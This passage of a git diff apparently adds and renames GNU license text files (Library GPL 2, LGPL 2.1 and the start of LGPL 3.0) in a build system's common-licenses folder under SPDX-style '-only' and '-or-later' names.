+a good faith effort to ensure that, in the event an application does not supply
+such function or table, the facility still operates, and performs whatever
+part of its purpose remains meaningful.
+
+(For example, a function in a library to compute square roots has a purpose
+that is entirely well-defined independent of the application. Therefore, Subsection
+2d requires that any application-supplied function or table used by this function
+must be optional: if the application does not supply it, the square root function
+must still compute square roots.)
+
+These requirements apply to the modified work as a whole. If identifiable
+sections of that work are not derived from the Library, and can be reasonably
+considered independent and separate works in themselves, then this License,
+and its terms, do not apply to those sections when you distribute them as
+separate works. But when you distribute the same sections as part of a whole
+which is a work based on the Library, the distribution of the whole must be
+on the terms of this License, whose permissions for other licensees extend
+to the entire whole, and thus to each and every part regardless of who wrote
+it.
+
+Thus, it is not the intent of this section to claim rights or contest your
+rights to work written entirely by you; rather, the intent is to exercise
+the right to control the distribution of derivative or collective works based
+on the Library.
+
+In addition, mere aggregation of another work not based on the Library with
+the Library (or with a work based on the Library) on a volume of a storage
+or distribution medium does not bring the other work under the scope of this
+License.
+
+3. You may opt to apply the terms of the ordinary GNU General Public License
+instead of this License to a given copy of the Library. To do this, you must
+alter all the notices that refer to this License, so that they refer to the
+ordinary GNU General Public License, version 2, instead of to this License.
+(If a newer version than version 2 of the ordinary GNU General Public License
+has appeared, then you can specify that version instead if you wish.) Do not
+make any other change in these notices.
+
+Once this change is made in a given copy, it is irreversible for that copy,
+so the ordinary GNU General Public License applies to all subsequent copies
+and derivative works made from that copy.
+
+This option is useful when you wish to copy part of the code of the Library
+into a program that is not a library.
+
+4. You may copy and distribute the Library (or a portion or derivative of
+it, under Section 2) in object code or executable form under the terms of
+Sections 1 and 2 above provided that you accompany it with the complete corresponding
+machine-readable source code, which must be distributed under the terms of
+Sections 1 and 2 above on a medium customarily used for software interchange.
+
+If distribution of object code is made by offering access to copy from a designated
+place, then offering equivalent access to copy the source code from the same
+place satisfies the requirement to distribute the source code, even though
+third parties are not compelled to copy the source along with the object code.
+
+5. A program that contains no derivative of any portion of the Library, but
+is designed to work with the Library by being compiled or linked with it,
+is called a "work that uses the Library". Such a work, in isolation, is not
+a derivative work of the Library, and therefore falls outside the scope of
+this License.
+
+However, linking a "work that uses the Library" with the Library creates an
+executable that is a derivative of the Library (because it contains portions
+of the Library), rather than a "work that uses the library". The executable
+is therefore covered by this License. Section 6 states terms for distribution
+of such executables.
+
+When a "work that uses the Library" uses material from a header file that
+is part of the Library, the object code for the work may be a derivative work
+of the Library even though the source code is not. Whether this is true is
+especially significant if the work can be linked without the Library, or if
+the work is itself a library. The threshold for this to be true is not precisely
+defined by law.
+
+If such an object file uses only numerical parameters, data structure layouts
+and accessors, and small macros and small inline functions (ten lines or less
+in length), then the use of the object file is unrestricted, regardless of
+whether it is legally a derivative work. (Executables containing this object
+code plus portions of the Library will still fall under Section 6.)
+
+Otherwise, if the work is a derivative of the Library, you may distribute
+the object code for the work under the terms of Section 6. Any executables
+containing that work also fall under Section 6, whether or not they are linked
+directly with the Library itself.
+
+6. As an exception to the Sections above, you may also compile or link a "work
+that uses the Library" with the Library to produce a work containing portions
+of the Library, and distribute that work under terms of your choice, provided
+that the terms permit modification of the work for the customer's own use
+and reverse engineering for debugging such modifications.
+
+You must give prominent notice with each copy of the work that the Library
+is used in it and that the Library and its use are covered by this License.
+You must supply a copy of this License. If the work during execution displays
+copyright notices, you must include the copyright notice for the Library among
+them, as well as a reference directing the user to the copy of this License.
+Also, you must do one of these things:
+
+a) Accompany the work with the complete corresponding machine-readable source
+code for the Library including whatever changes were used in the work (which
+must be distributed under Sections 1 and 2 above); and, if the work is an
+executable linked with the Library, with the complete machine-readable "work
+that uses the Library", as object code and/or source code, so that the user
+can modify the Library and then relink to produce a modified executable containing
+the modified Library. (It is understood that the user who changes the contents
+of definitions files in the Library will not necessarily be able to recompile
+the application to use the modified definitions.)
+
+b) Accompany the work with a written offer, valid for at least three years,
+to give the same user the materials specified in Subsection 6a, above, for
+a charge no more than the cost of performing this distribution.
+
+c) If distribution of the work is made by offering access to copy from a designated
+place, offer equivalent access to copy the above specified materials from
+the same place.
+
+d) Verify that the user has already received a copy of these materials or
+that you have already sent this user a copy.
+
+For an executable, the required form of the "work that uses the Library" must
+include any data and utility programs needed for reproducing the executable
+from it. However, as a special exception, the source code distributed need
+not include anything that is normally distributed (in either source or binary
+form) with the major components (compiler, kernel, and so on) of the operating
+system on which the executable runs, unless that component itself accompanies
+the executable.
+
+It may happen that this requirement contradicts the license restrictions of
+other proprietary libraries that do not normally accompany the operating system.
+Such a contradiction means you cannot use both them and the Library together
+in an executable that you distribute.
+
+7. You may place library facilities that are a work based on the Library side-by-side
+in a single library together with other library facilities not covered by
+this License, and distribute such a combined library, provided that the separate
+distribution of the work based on the Library and of the other library facilities
+is otherwise permitted, and provided that you do these two things:
+
+a) Accompany the combined library with a copy of the same work based on the
+Library, uncombined with any other library facilities. This must be distributed
+under the terms of the Sections above.
+
+b) Give prominent notice with the combined library of the fact that part of
+it is a work based on the Library, and explaining where to find the accompanying
+uncombined form of the same work.
+
+8. You may not copy, modify, sublicense, link with, or distribute the Library
+except as expressly provided under this License. Any attempt otherwise to
+copy, modify, sublicense, link with, or distribute the Library is void, and
+will automatically terminate your rights under this License. However, parties
+who have received copies, or rights, from you under this License will not
+have their licenses terminated so long as such parties remain in full compliance.
+
+9. You are not required to accept this License, since you have not signed
+it. However, nothing else grants you permission to modify or distribute the
+Library or its derivative works. These actions are prohibited by law if you
+do not accept this License. Therefore, by modifying or distributing the Library
+(or any work based on the Library), you indicate your acceptance of this License
+to do so, and all its terms and conditions for copying, distributing or modifying
+the Library or works based on it.
+
+10. Each time you redistribute the Library (or any work based on the Library),
+the recipient automatically receives a license from the original licensor
+to copy, distribute, link with or modify the Library subject to these terms
+and conditions. You may not impose any further restrictions on the recipients'
+exercise of the rights granted herein. You are not responsible for enforcing
+compliance by third parties to this License.
+
+11. If, as a consequence of a court judgment or allegation of patent infringement
+or for any other reason (not limited to patent issues), conditions are imposed
+on you (whether by court order, agreement or otherwise) that contradict the
+conditions of this License, they do not excuse you from the conditions of
+this License. If you cannot distribute so as to satisfy simultaneously your
+obligations under this License and any other pertinent obligations, then as
+a consequence you may not distribute the Library at all. For example, if a
+patent license would not permit royalty-free redistribution of the Library
+by all those who receive copies directly or indirectly through you, then the
+only way you could satisfy both it and this License would be to refrain entirely
+from distribution of the Library.
+
+If any portion of this section is held invalid or unenforceable under any
+particular circumstance, the balance of the section is intended to apply,
+and the section as a whole is intended to apply in other circumstances.
+
+It is not the purpose of this section to induce you to infringe any patents
+or other property right claims or to contest validity of any such claims;
+this section has the sole purpose of protecting the integrity of the free
+software distribution system which is implemented by public license practices.
+Many people have made generous contributions to the wide range of software
+distributed through that system in reliance on consistent application of that
+system; it is up to the author/donor to decide if he or she is willing to
+distribute software through any other system and a licensee cannot impose
+that choice.
+
+This section is intended to make thoroughly clear what is believed to be a
+consequence of the rest of this License.
+
+12. If the distribution and/or use of the Library is restricted in certain
+countries either by patents or by copyrighted interfaces, the original copyright
+holder who places the Library under this License may add an explicit geographical
+distribution limitation excluding those countries, so that distribution is
+permitted only in or among countries not thus excluded. In such case, this
+License incorporates the limitation as if written in the body of this License.
+
+13. The Free Software Foundation may publish revised and/or new versions of
+the Library General Public License from time to time. Such new versions will
+be similar in spirit to the present version, but may differ in detail to address
+new problems or concerns.
+
+Each version is given a distinguishing version number. If the Library specifies
+a version number of this License which applies to it and "any later version",
+you have the option of following the terms and conditions either of that version
+or of any later version published by the Free Software Foundation. If the
+Library does not specify a license version number, you may choose any version
+ever published by the Free Software Foundation.
+
+14. If you wish to incorporate parts of the Library into other free programs
+whose distribution conditions are incompatible with these, write to the author
+to ask for permission. For software which is copyrighted by the Free Software
+Foundation, write to the Free Software Foundation; we sometimes make exceptions
+for this. Our decision will be guided by the two goals of preserving the free
+status of all derivatives of our free software and of promoting the sharing
+and reuse of software generally.
+
+ NO WARRANTY
+
+15. BECAUSE THE LIBRARY IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY FOR
+THE LIBRARY, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN OTHERWISE
+STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES PROVIDE THE LIBRARY
+"AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING,
+BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS
+FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE
+OF THE LIBRARY IS WITH YOU. SHOULD THE LIBRARY PROVE DEFECTIVE, YOU ASSUME
+THE COST OF ALL NECESSARY SERVICING, REPAIR OR CORRECTION.
+
+16. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
+WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR REDISTRIBUTE
+THE LIBRARY AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY
+GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE USE
+OR INABILITY TO USE THE LIBRARY (INCLUDING BUT NOT LIMITED TO LOSS OF DATA
+OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD PARTIES
+OR A FAILURE OF THE LIBRARY TO OPERATE WITH ANY OTHER SOFTWARE), EVEN IF SUCH
+HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES.
+END OF TERMS AND CONDITIONS
+
+How to Apply These Terms to Your New Libraries
+
+If you develop a new library, and you want it to be of the greatest possible
+use to the public, we recommend making it free software that everyone can
+redistribute and change. You can do so by permitting redistribution under
+these terms (or, alternatively, under the terms of the ordinary General Public
+License).
+
+To apply these terms, attach the following notices to the library. It is safest
+to attach them to the start of each source file to most effectively convey
+the exclusion of warranty; and each file should have at least the "copyright"
+line and a pointer to where the full notice is found.
+
+one line to give the library's name and an idea of what it does.
+
+Copyright (C) year name of author
+
+This library is free software; you can redistribute it and/or modify it under
+the terms of the GNU Library General Public License as published by the Free
+Software Foundation; either version 2 of the License, or (at your option)
+any later version.
+
+This library is distributed in the hope that it will be useful, but WITHOUT
+ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
+FOR A PARTICULAR PURPOSE. See the GNU Library General Public License for more
+details.
+
+You should have received a copy of the GNU Library General Public License
+along with this library; if not, write to the Free Software Foundation, Inc.,
+51 Franklin St, Fifth Floor, Boston, MA 02110-1301, USA.
+
+Also add information on how to contact you by electronic and paper mail.
+
+You should also get your employer (if you work as a programmer) or your school,
+if any, to sign a "copyright disclaimer" for the library, if necessary. Here
+is a sample; alter the names:
+
+Yoyodyne, Inc., hereby disclaims all copyright interest in
+
+the library `Frob' (a library for tweaking knobs) written
+
+by James Random Hacker.
+
+signature of Ty Coon, 1 April 1990
+
+Ty Coon, President of Vice
+
+That's all there is to it!
diff --git a/meta/files/common-licenses/LGPL-2.1 b/meta/files/common-licenses/LGPL-2.1-only
index a0e735a98b..a0e735a98b 100644
--- a/meta/files/common-licenses/LGPL-2.1
+++ b/meta/files/common-licenses/LGPL-2.1-only
diff --git a/meta/files/common-licenses/LGPL-2.1-or-later b/meta/files/common-licenses/LGPL-2.1-or-later
new file mode 100644
index 0000000000..04bb156e77
--- /dev/null
+++ b/meta/files/common-licenses/LGPL-2.1-or-later
@@ -0,0 +1,468 @@
+GNU LESSER GENERAL PUBLIC LICENSE
+
+Version 2.1, February 1999
+
+Copyright (C) 1991, 1999 Free Software Foundation, Inc.
+
+51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
+
+Everyone is permitted to copy and distribute verbatim copies of this license
+document, but changing it is not allowed.
+
+[This is the first released version of the Lesser GPL. It also counts as the
+successor of the GNU Library Public License, version 2, hence the version
+number 2.1.]
+
+Preamble
+
+The licenses for most software are designed to take away your freedom to share
+and change it. By contrast, the GNU General Public Licenses are intended to
+guarantee your freedom to share and change free software--to make sure the
+software is free for all its users.
+
+This license, the Lesser General Public License, applies to some specially
+designated software packages--typically libraries--of the Free Software Foundation
+and other authors who decide to use it. You can use it too, but we suggest
+you first think carefully about whether this license or the ordinary General
+Public License is the better strategy to use in any particular case, based
+on the explanations below.
+
+When we speak of free software, we are referring to freedom of use, not price.
+Our General Public Licenses are designed to make sure that you have the freedom
+to distribute copies of free software (and charge for this service if you
+wish); that you receive source code or can get it if you want it; that you
+can change the software and use pieces of it in new free programs; and that
+you are informed that you can do these things.
+
+To protect your rights, we need to make restrictions that forbid distributors
+to deny you these rights or to ask you to surrender these rights. These restrictions
+translate to certain responsibilities for you if you distribute copies of
+the library or if you modify it.
+
+For example, if you distribute copies of the library, whether gratis or for
+a fee, you must give the recipients all the rights that we gave you. You must
+make sure that they, too, receive or can get the source code. If you link
+other code with the library, you must provide complete object files to the
+recipients, so that they can relink them with the library after making changes
+to the library and recompiling it. And you must show them these terms so they
+know their rights.
+
+We protect your rights with a two-step method: (1) we copyright the library,
+and (2) we offer you this license, which gives you legal permission to copy,
+distribute and/or modify the library.
+
+To protect each distributor, we want to make it very clear that there is no
+warranty for the free library. Also, if the library is modified by someone
+else and passed on, the recipients should know that what they have is not
+the original version, so that the original author's reputation will not be
+affected by problems that might be introduced by others.
+
+Finally, software patents pose a constant threat to the existence of any free
+program. We wish to make sure that a company cannot effectively restrict the
+users of a free program by obtaining a restrictive license from a patent holder.
+Therefore, we insist that any patent license obtained for a version of the
+library must be consistent with the full freedom of use specified in this
+license.
+
+Most GNU software, including some libraries, is covered by the ordinary GNU
+General Public License. This license, the GNU Lesser General Public License,
+applies to certain designated libraries, and is quite different from the ordinary
+General Public License. We use this license for certain libraries in order
+to permit linking those libraries into non-free programs.
+
+When a program is linked with a library, whether statically or using a shared
+library, the combination of the two is legally speaking a combined work, a
+derivative of the original library. The ordinary General Public License therefore
+permits such linking only if the entire combination fits its criteria of freedom.
+The Lesser General Public License permits more lax criteria for linking other
+code with the library.
+
+We call this license the "Lesser" General Public License because it does Less
+to protect the user's freedom than the ordinary General Public License. It
+also provides other free software developers Less of an advantage over competing
+non-free programs. These disadvantages are the reason we use the ordinary
+General Public License for many libraries. However, the Lesser license provides
+advantages in certain special circumstances.
+
+For example, on rare occasions, there may be a special need to encourage the
+widest possible use of a certain library, so that it becomes a de-facto standard.
+To achieve this, non-free programs must be allowed to use the library. A more
+frequent case is that a free library does the same job as widely used non-free
+libraries. In this case, there is little to gain by limiting the free library
+to free software only, so we use the Lesser General Public License.
+
+In other cases, permission to use a particular library in non-free programs
+enables a greater number of people to use a large body of free software. For
+example, permission to use the GNU C Library in non-free programs enables
+many more people to use the whole GNU operating system, as well as its variant,
+the GNU/Linux operating system.
+
+Although the Lesser General Public License is Less protective of the users'
+freedom, it does ensure that the user of a program that is linked with the
+Library has the freedom and the wherewithal to run that program using a modified
+version of the Library.
+
+The precise terms and conditions for copying, distribution and modification
+follow. Pay close attention to the difference between a "work based on the
+library" and a "work that uses the library". The former contains code derived
+from the library, whereas the latter must be combined with the library in
+order to run.
+
+TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION
+
+0. This License Agreement applies to any software library or other program
+which contains a notice placed by the copyright holder or other authorized
+party saying it may be distributed under the terms of this Lesser General
+Public License (also called "this License"). Each licensee is addressed as
+"you".
+
+A "library" means a collection of software functions and/or data prepared
+so as to be conveniently linked with application programs (which use some
+of those functions and data) to form executables.
+
+The "Library", below, refers to any such software library or work which has
+been distributed under these terms. A "work based on the Library" means either
+the Library or any derivative work under copyright law: that is to say, a
+work containing the Library or a portion of it, either verbatim or with modifications
+and/or translated straightforwardly into another language. (Hereinafter, translation
+is included without limitation in the term "modification".)
+
+"Source code" for a work means the preferred form of the work for making modifications
+to it. For a library, complete source code means all the source code for all
+modules it contains, plus any associated interface definition files, plus
+the scripts used to control compilation and installation of the library.
+
+Activities other than copying, distribution and modification are not covered
+by this License; they are outside its scope. The act of running a program
+using the Library is not restricted, and output from such a program is covered
+only if its contents constitute a work based on the Library (independent of
+the use of the Library in a tool for writing it). Whether that is true depends
+on what the Library does and what the program that uses the Library does.
+
+1. You may copy and distribute verbatim copies of the Library's complete source
+code as you receive it, in any medium, provided that you conspicuously and
+appropriately publish on each copy an appropriate copyright notice and disclaimer
+of warranty; keep intact all the notices that refer to this License and to
+the absence of any warranty; and distribute a copy of this License along with
+the Library.
+
+You may charge a fee for the physical act of transferring a copy, and you
+may at your option offer warranty protection in exchange for a fee.
+
+2. You may modify your copy or copies of the Library or any portion of it,
+thus forming a work based on the Library, and copy and distribute such modifications
+or work under the terms of Section 1 above, provided that you also meet all
+of these conditions:
+
+ a) The modified work must itself be a software library.
+
+b) You must cause the files modified to carry prominent notices stating that
+you changed the files and the date of any change.
+
+c) You must cause the whole of the work to be licensed at no charge to all
+third parties under the terms of this License.
+
+d) If a facility in the modified Library refers to a function or a table of
+data to be supplied by an application program that uses the facility, other
+than as an argument passed when the facility is invoked, then you must make
+a good faith effort to ensure that, in the event an application does not supply
+such function or table, the facility still operates, and performs whatever
+part of its purpose remains meaningful.
+
+(For example, a function in a library to compute square roots has a purpose
+that is entirely well-defined independent of the application. Therefore, Subsection
+2d requires that any application-supplied function or table used by this function
+must be optional: if the application does not supply it, the square root function
+must still compute square roots.)
+
+These requirements apply to the modified work as a whole. If identifiable
+sections of that work are not derived from the Library, and can be reasonably
+considered independent and separate works in themselves, then this License,
+and its terms, do not apply to those sections when you distribute them as
+separate works. But when you distribute the same sections as part of a whole
+which is a work based on the Library, the distribution of the whole must be
+on the terms of this License, whose permissions for other licensees extend
+to the entire whole, and thus to each and every part regardless of who wrote
+it.
+
+Thus, it is not the intent of this section to claim rights or contest your
+rights to work written entirely by you; rather, the intent is to exercise
+the right to control the distribution of derivative or collective works based
+on the Library.
+
+In addition, mere aggregation of another work not based on the Library with
+the Library (or with a work based on the Library) on a volume of a storage
+or distribution medium does not bring the other work under the scope of this
+License.
+
+3. You may opt to apply the terms of the ordinary GNU General Public License
+instead of this License to a given copy of the Library. To do this, you must
+alter all the notices that refer to this License, so that they refer to the
+ordinary GNU General Public License, version 2, instead of to this License.
+(If a newer version than version 2 of the ordinary GNU General Public License
+has appeared, then you can specify that version instead if you wish.) Do not
+make any other change in these notices.
+
+Once this change is made in a given copy, it is irreversible for that copy,
+so the ordinary GNU General Public License applies to all subsequent copies
+and derivative works made from that copy.
+
+This option is useful when you wish to copy part of the code of the Library
+into a program that is not a library.
+
+4. You may copy and distribute the Library (or a portion or derivative of
+it, under Section 2) in object code or executable form under the terms of
+Sections 1 and 2 above provided that you accompany it with the complete corresponding
+machine-readable source code, which must be distributed under the terms of
+Sections 1 and 2 above on a medium customarily used for software interchange.
+
+If distribution of object code is made by offering access to copy from a designated
+place, then offering equivalent access to copy the source code from the same
+place satisfies the requirement to distribute the source code, even though
+third parties are not compelled to copy the source along with the object code.
+
+5. A program that contains no derivative of any portion of the Library, but
+is designed to work with the Library by being compiled or linked with it,
+is called a "work that uses the Library". Such a work, in isolation, is not
+a derivative work of the Library, and therefore falls outside the scope of
+this License.
+
+However, linking a "work that uses the Library" with the Library creates an
+executable that is a derivative of the Library (because it contains portions
+of the Library), rather than a "work that uses the library". The executable
+is therefore covered by this License. Section 6 states terms for distribution
+of such executables.
+
+When a "work that uses the Library" uses material from a header file that
+is part of the Library, the object code for the work may be a derivative work
+of the Library even though the source code is not. Whether this is true is
+especially significant if the work can be linked without the Library, or if
+the work is itself a library. The threshold for this to be true is not precisely
+defined by law.
+
+If such an object file uses only numerical parameters, data structure layouts
+and accessors, and small macros and small inline functions (ten lines or less
+in length), then the use of the object file is unrestricted, regardless of
+whether it is legally a derivative work. (Executables containing this object
+code plus portions of the Library will still fall under Section 6.)
+
+Otherwise, if the work is a derivative of the Library, you may distribute
+the object code for the work under the terms of Section 6. Any executables
+containing that work also fall under Section 6, whether or not they are linked
+directly with the Library itself.
+
+6. As an exception to the Sections above, you may also combine or link a "work
+that uses the Library" with the Library to produce a work containing portions
+of the Library, and distribute that work under terms of your choice, provided
+that the terms permit modification of the work for the customer's own use
+and reverse engineering for debugging such modifications.
+
+You must give prominent notice with each copy of the work that the Library
+is used in it and that the Library and its use are covered by this License.
+You must supply a copy of this License. If the work during execution displays
+copyright notices, you must include the copyright notice for the Library among
+them, as well as a reference directing the user to the copy of this License.
+Also, you must do one of these things:
+
+a) Accompany the work with the complete corresponding machine-readable source
+code for the Library including whatever changes were used in the work (which
+must be distributed under Sections 1 and 2 above); and, if the work is an
+executable linked with the Library, with the complete machine-readable "work
+that uses the Library", as object code and/or source code, so that the user
+can modify the Library and then relink to produce a modified executable containing
+the modified Library. (It is understood that the user who changes the contents
+of definitions files in the Library will not necessarily be able to recompile
+the application to use the modified definitions.)
+
+b) Use a suitable shared library mechanism for linking with the Library. A
+suitable mechanism is one that (1) uses at run time a copy of the library
+already present on the user's computer system, rather than copying library
+functions into the executable, and (2) will operate properly with a modified
+version of the library, if the user installs one, as long as the modified
+version is interface-compatible with the version that the work was made with.
+
+c) Accompany the work with a written offer, valid for at least three years,
+to give the same user the materials specified in Subsection 6a, above, for
+a charge no more than the cost of performing this distribution.
+
+d) If distribution of the work is made by offering access to copy from a designated
+place, offer equivalent access to copy the above specified materials from
+the same place.
+
+e) Verify that the user has already received a copy of these materials or
+that you have already sent this user a copy.
+
+For an executable, the required form of the "work that uses the Library" must
+include any data and utility programs needed for reproducing the executable
+from it. However, as a special exception, the materials to be distributed
+need not include anything that is normally distributed (in either source or
+binary form) with the major components (compiler, kernel, and so on) of the
+operating system on which the executable runs, unless that component itself
+accompanies the executable.
+
+It may happen that this requirement contradicts the license restrictions of
+other proprietary libraries that do not normally accompany the operating system.
+Such a contradiction means you cannot use both them and the Library together
+in an executable that you distribute.
+
+7. You may place library facilities that are a work based on the Library side-by-side
+in a single library together with other library facilities not covered by
+this License, and distribute such a combined library, provided that the separate
+distribution of the work based on the Library and of the other library facilities
+is otherwise permitted, and provided that you do these two things:
+
+a) Accompany the combined library with a copy of the same work based on the
+Library, uncombined with any other library facilities. This must be distributed
+under the terms of the Sections above.
+
+b) Give prominent notice with the combined library of the fact that part of
+it is a work based on the Library, and explaining where to find the accompanying
+uncombined form of the same work.
+
+8. You may not copy, modify, sublicense, link with, or distribute the Library
+except as expressly provided under this License. Any attempt otherwise to
+copy, modify, sublicense, link with, or distribute the Library is void, and
+will automatically terminate your rights under this License. However, parties
+who have received copies, or rights, from you under this License will not
+have their licenses terminated so long as such parties remain in full compliance.
+
+9. You are not required to accept this License, since you have not signed
+it. However, nothing else grants you permission to modify or distribute the
+Library or its derivative works. These actions are prohibited by law if you
+do not accept this License. Therefore, by modifying or distributing the Library
+(or any work based on the Library), you indicate your acceptance of this License
+to do so, and all its terms and conditions for copying, distributing or modifying
+the Library or works based on it.
+
+10. Each time you redistribute the Library (or any work based on the Library),
+the recipient automatically receives a license from the original licensor
+to copy, distribute, link with or modify the Library subject to these terms
+and conditions. You may not impose any further restrictions on the recipients'
+exercise of the rights granted herein. You are not responsible for enforcing
+compliance by third parties with this License.
+
+11. If, as a consequence of a court judgment or allegation of patent infringement
+or for any other reason (not limited to patent issues), conditions are imposed
+on you (whether by court order, agreement or otherwise) that contradict the
+conditions of this License, they do not excuse you from the conditions of
+this License. If you cannot distribute so as to satisfy simultaneously your
+obligations under this License and any other pertinent obligations, then as
+a consequence you may not distribute the Library at all. For example, if a
+patent license would not permit royalty-free redistribution of the Library
+by all those who receive copies directly or indirectly through you, then the
+only way you could satisfy both it and this License would be to refrain entirely
+from distribution of the Library.
+
+If any portion of this section is held invalid or unenforceable under any
+particular circumstance, the balance of the section is intended to apply,
+and the section as a whole is intended to apply in other circumstances.
+
+It is not the purpose of this section to induce you to infringe any patents
+or other property right claims or to contest validity of any such claims;
+this section has the sole purpose of protecting the integrity of the free
+software distribution system which is implemented by public license practices.
+Many people have made generous contributions to the wide range of software
+distributed through that system in reliance on consistent application of that
+system; it is up to the author/donor to decide if he or she is willing to
+distribute software through any other system and a licensee cannot impose
+that choice.
+
+This section is intended to make thoroughly clear what is believed to be a
+consequence of the rest of this License.
+
+12. If the distribution and/or use of the Library is restricted in certain
+countries either by patents or by copyrighted interfaces, the original copyright
+holder who places the Library under this License may add an explicit geographical
+distribution limitation excluding those countries, so that distribution is
+permitted only in or among countries not thus excluded. In such case, this
+License incorporates the limitation as if written in the body of this License.
+
+13. The Free Software Foundation may publish revised and/or new versions of
+the Lesser General Public License from time to time. Such new versions will
+be similar in spirit to the present version, but may differ in detail to address
+new problems or concerns.
+
+Each version is given a distinguishing version number. If the Library specifies
+a version number of this License which applies to it and "any later version",
+you have the option of following the terms and conditions either of that version
+or of any later version published by the Free Software Foundation. If the
+Library does not specify a license version number, you may choose any version
+ever published by the Free Software Foundation.
+
+14. If you wish to incorporate parts of the Library into other free programs
+whose distribution conditions are incompatible with these, write to the author
+to ask for permission. For software which is copyrighted by the Free Software
+Foundation, write to the Free Software Foundation; we sometimes make exceptions
+for this. Our decision will be guided by the two goals of preserving the free
+status of all derivatives of our free software and of promoting the sharing
+and reuse of software generally.
+
+ NO WARRANTY
+
+15. BECAUSE THE LIBRARY IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY FOR
+THE LIBRARY, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN OTHERWISE
+STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES PROVIDE THE LIBRARY
+"AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING,
+BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS
+FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE
+OF THE LIBRARY IS WITH YOU. SHOULD THE LIBRARY PROVE DEFECTIVE, YOU ASSUME
+THE COST OF ALL NECESSARY SERVICING, REPAIR OR CORRECTION.
+
+16. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
+WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR REDISTRIBUTE
+THE LIBRARY AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY
+GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE USE
+OR INABILITY TO USE THE LIBRARY (INCLUDING BUT NOT LIMITED TO LOSS OF DATA
+OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD PARTIES
+OR A FAILURE OF THE LIBRARY TO OPERATE WITH ANY OTHER SOFTWARE), EVEN IF SUCH
+HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES.
+END OF TERMS AND CONDITIONS
+
+How to Apply These Terms to Your New Libraries
+
+If you develop a new library, and you want it to be of the greatest possible
+use to the public, we recommend making it free software that everyone can
+redistribute and change. You can do so by permitting redistribution under
+these terms (or, alternatively, under the terms of the ordinary General Public
+License).
+
+To apply these terms, attach the following notices to the library. It is safest
+to attach them to the start of each source file to most effectively convey
+the exclusion of warranty; and each file should have at least the "copyright"
+line and a pointer to where the full notice is found.
+
+<one line to give the library's name and an idea of what it does.>
+
+Copyright (C) <year> <name of author>
+
+This library is free software; you can redistribute it and/or modify it under
+the terms of the GNU Lesser General Public License as published by the Free
+Software Foundation; either version 2.1 of the License, or (at your option)
+any later version.
+
+This library is distributed in the hope that it will be useful, but WITHOUT
+ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
+FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more
+details.
+
+You should have received a copy of the GNU Lesser General Public License along
+with this library; if not, write to the Free Software Foundation, Inc., 51
+Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
+
+Also add information on how to contact you by electronic and paper mail.
+
+You should also get your employer (if you work as a programmer) or your school,
+if any, to sign a "copyright disclaimer" for the library, if necessary. Here
+is a sample; alter the names:
+
+Yoyodyne, Inc., hereby disclaims all copyright interest in
+
+the library `Frob' (a library for tweaking knobs) written
+
+by James Random Hacker.
+
+< signature of Ty Coon > , 1 April 1990
+
+Ty Coon, President of Vice
+
+That's all there is to it!
diff --git a/meta/files/common-licenses/LGPL-3.0 b/meta/files/common-licenses/LGPL-3.0-only
index 6be29bf206..6be29bf206 100644
--- a/meta/files/common-licenses/LGPL-3.0
+++ b/meta/files/common-licenses/LGPL-3.0-only
diff --git a/meta/files/common-licenses/LGPL-3.0-or-later b/meta/files/common-licenses/LGPL-3.0-or-later
new file mode 100644
index 0000000000..bd405afbef
--- /dev/null
+++ b/meta/files/common-licenses/LGPL-3.0-or-later
@@ -0,0 +1,163 @@
+GNU LESSER GENERAL PUBLIC LICENSE
+
+Version 3, 29 June 2007
+
+Copyright (C) 2007 Free Software Foundation, Inc. <https://fsf.org/>
+
+Everyone is permitted to copy and distribute verbatim copies of this license
+document, but changing it is not allowed.
+
+This version of the GNU Lesser General Public License incorporates the terms
+and conditions of version 3 of the GNU General Public License, supplemented
+by the additional permissions listed below.
+
+ 0. Additional Definitions.
+
+
+
+As used herein, "this License" refers to version 3 of the GNU Lesser General
+Public License, and the "GNU GPL" refers to version 3 of the GNU General Public
+License.
+
+
+
+"The Library" refers to a covered work governed by this License, other than
+an Application or a Combined Work as defined below.
+
+
+
+An "Application" is any work that makes use of an interface provided by the
+Library, but which is not otherwise based on the Library. Defining a subclass
+of a class defined by the Library is deemed a mode of using an interface provided
+by the Library.
+
+
+
